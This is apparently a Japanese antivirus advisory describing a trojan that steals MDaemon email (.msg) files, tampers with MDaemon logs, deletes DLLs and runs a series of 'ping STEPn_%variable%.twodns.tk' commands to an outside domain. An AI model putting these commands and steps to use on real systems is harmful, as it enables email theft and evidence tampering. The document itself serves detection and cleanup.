検出した場合の対処方法
常駐監視を行っている各検査プログラムによって検出された場合は、駆除もしくは削除を行ってください。駆除もしくは削除ができない場合は、Windowsのシステムの復元により修復しなければならない可能性があります。
対象のファイルが身に覚えのないファイル名の場合は、そのファイル自身がウイルスそのものである可能性が高いので、駆除ではなくすべて削除をしてください。これにより2次感染、3次感染を防げます。また、自分が作成したデータ等に感染していた場合は、駆除が可能な場合もありますが、駆除のボタンが押せない状態もしくは駆除しても失敗する場合は、すでに元のデータの戻せない状態までデータが書き換えられている場合もあります。この場合もすべて削除してください。
解説での表記（用語）について
以下の説明文では、Windowsオペレーティングシステムがインストールされたディレクトリを%windir%と表記しており、インストール時の設定により異なる場合があります。%windir%のサブディレクトリである"System"や"System32"は%system%と表記しています。
%currentfolder%は、カレントディレクトリを表記しています。
%temp%はWindowsオペレーティングシステムのテンポラリディレクトリを表記しています。
解説
■侵入（インストレーション）について
このトロイの木馬は、自身のコピーを作成しません。次のファイルを作成します。
%temp%\TMP%variable1%.tmp (610 B)
%temp%\TMP%variable2%.tmp (98304 B)
%variable1-2%には可変の文字列が入ります。
次のプロセスを起動します。
%temp%\TMP%variable2%.tmp
次のファイルを改ざんする場合があります。
%currentfolder%\..\Logs\MDaemon-?*-all.log
%currentfolder%\..\Logs\MDaemon-?*-SMTP-(in).log
%currentfolder%\..\Logs\MDaemon-?*-SMTP-(out).log
%currentfolder%\..\Logs\MDaemon-?*-Routing.log
%currentfolder%\..\Logs\MDaemon-?*-POP3.log
%currentfolder%\..\Logs\MDaemon-?*-Content-Filter.log
%currentfolder%\..\Logs\MDaemon-?*-RAW.log
"..\"は、ファイルシステムツリーにおける1つ上の階層のフォルダーを意味しています。
■情報の取得
このトロイの木馬は個人情報を盗み出します。
次の情報を収集します。
電子メールアカウントのデータ
次のプログラムが影響を受けます。
MDaemon
次の拡張子を持つファイルを探します。
.msg
次のフォルダーのみが検索されます。
%currentfolder%\..\Users\BUMAR.COM\BUMAR\
見つかったファイルをリモートのコンピューターに送信しようとします。
電子メールを介してこれらの情報を送信します。1つのURLを保持しています。
その後、自身をコンピューターから削除します。
■その他の情報
このトロイの木馬は次の命令を実行します。
ping STEP1_%variable1%.twodns.tk
ping STEP2_%variable2%.twodns.tk
ping STEP3_%variable3%.twodns.tk
ping STEP4_%variable4%.twodns.tk
ping STEP5_%variable5%.twodns.tk
ping STEP6_%variable6%.twodns.tk
ping STEP7_%variable7%.twodns.tk
ping STEP8_%variable8%.twodns.tk
ping STEP9_%variable9%.twodns.tk
ping STEP10_%variable10%.twodns.tk
ping STEP11_%variable11%.twodns.tk
ping STEP12_%variable12%.twodns.tk
ping STEP13_%variable13%.twodns.tk
次のファイルを削除します。
%currentfolder%\..\App\wsock32.dll
%currentfolder%\..\SpamAssassin\secur32.dll
%currentfolder%\..\SpamAssassin\sspicli.dll
%currentfolder%\..\SpamAssassin\ws2_32.dll
%temp%\TMP%variable14%.tmp
%temp%\TMP%variable15%.tmp
%variable1-15%には可変の文字列が入ります。
実行するために次のファイルを必要とします。
%currentfolder%\..\App\MDUSER.DLL
|
